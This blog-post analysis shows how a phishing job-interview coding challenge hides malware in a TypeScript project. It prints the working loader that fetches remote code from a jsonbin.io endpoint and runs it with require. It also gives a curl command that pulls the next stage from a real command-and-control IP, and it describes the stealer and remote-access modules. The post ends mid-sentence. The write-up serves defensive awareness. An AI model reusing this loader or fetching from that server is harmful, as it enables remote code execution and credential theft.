How to compromise your system with a job interview | code and society | codedge
© Benjamin Le Roux
How to compromise your system with a job interview<br>Table of contentsThe current situation on the IT job market is hard. So you are lucky when a recruiter on LinkedIn reaches out to you having a suitable match<br>for a new position based on your prior experience. It might not be what it seems at a first glance.<br>“A relevant opportunity” with part-time remote work and a great hourly compensation is what surely pulls a lot of current Software Engineers<br>into the conversation when a new job offer on LinkedIn comes in - so it happened to a friend of mine.<br>The job offer was matching very well with the former experience and paired with speeding up the interview process with a quickly sent coding challenge after a couple of messages on LinkedIn.
Info<br>The initial contact was made in the name of a company that did not know about this. So it is pure phishing just to steal your secrets and credentials. The company is well aware of that and already published a post on LinkedIn explaining the situation.
Before you start with the test, you might be suspicious about the following:<br>The person contacting you is not part of the company on LinkedIn<br>There is no first “Get to know you”-call before you receive the coding test<br>The test might be in a different programming language than you’re skilled in<br>The code is available on Bitbucket, which IMHO is uncommon<br>The sender email address is a @gmail.com instead of an official one from the company<br>Hindsight is 20/20 so no judging here.<br>How it begins<br>The task is to solve various problems and extend logic in a given TypeScript codebase. The project you receive is<br>about 180 files<br>a mix of dead and working code<br>no obfuscation or minification<br>.. but with some calls to external https://api.jsonbin.io endpoints. If you did not read the 180 files of code, you are hooked.<br>Here is the fishy code part that starts downloading further packages to inspect your system.
Warning<br>That is the endpoint, that ships more garbage. Watch out!<br>The complete source code can be found in this Bitbucket repository.
const initPriceConfig = async () => {<br>const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";<br>const res = (await axios.get(`${src}`));<br>const handler = new (Function.constructor)('require', res.data.record.model);<br>if (handler) handler(require);<br>};<br>initPriceConfig();
The internal logic of the application always runs this function first by executing npm run dev, npm start, and so on. As it hands require in, it can:<br>require('child_process') for shell out<br>require('fs') for read/walk the filesystem, write persistence<br>require('net')/require('https') to open its own exfiltration channel<br>read process.env directly, which in this app means MONGO_URI, JWT_SECRET, SENDGRID_API_KEY, CLOUDINARY_API_SECRET, PAYTM_MERCHANT_KEY<br>A lot of things you desperately do not want to happen on your system.<br>A closer look: second stage loader<br>The response from the jsonbin.io endpoint is effectively a remote-code execution loader .<br>The record.model payload is 24,686 chars of obfuscator.io JavaScript wrapped around a small webpack bundle.<br>After deobfuscating the returned payload we get another bunch of obfuscated JavaScript.<br>This code pulls data from the C2 (Command & Control) server http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5.<br>I was able to pull the next piece of code using this<br>curl -sS -v --max-time 30 \<br>-H 'Authentication: jwt' \<br>-H 'Accept: application/json, text/plain, */*' \<br>-A 'axios/1.5.3' \<br>-D headers.txt \<br>-o body.bin \<br>'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'
It needs an Authentication header, with jwt as the token. This endpoint gives more<br>obfuscated JavaScript code, in particular the following four modules:<br>scdata : an interactive RAT (Remote Access Trojan)<br>node-pty full shell, ssh2 for pivoting and PEM key theft, screenshot-desktop+sharp for screen capture, clipboardy, and @nut-tree-fork/nut-js for synthetic keyboard and mouse. It also fingerprints for VM vs. bare metal.<br>ldata : browser credential and wallet stealer.<br>Chrome/Edge/Brave/LT across all three OSes, every profile: Login Data, Web Data, Local Extension Settings LevelDB stores, and macOS login.keychain.<br>It can target 28 wallet extensions like MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby, and 18 more. It loops indefinitely, re-uploading roughly every minute.<br>File grabber : walks the home directory<br>It tries to find private key, secret phrase, *metamask*, bitcoin, solana, .env, *.pem, *.p12, *.pfx, plus documents and images, and whole .ssh, .aws, .gnupg and .docker directories. And, it enumerates all drive letters on Windows.<br>Clipboard monitor : monitor your clipboard<br>It polls the clipboard and beacons it out, hiding behind the log name npm-compiler.log.<br>When the victim connects out to 147.189.174.138:7321, the server sees the...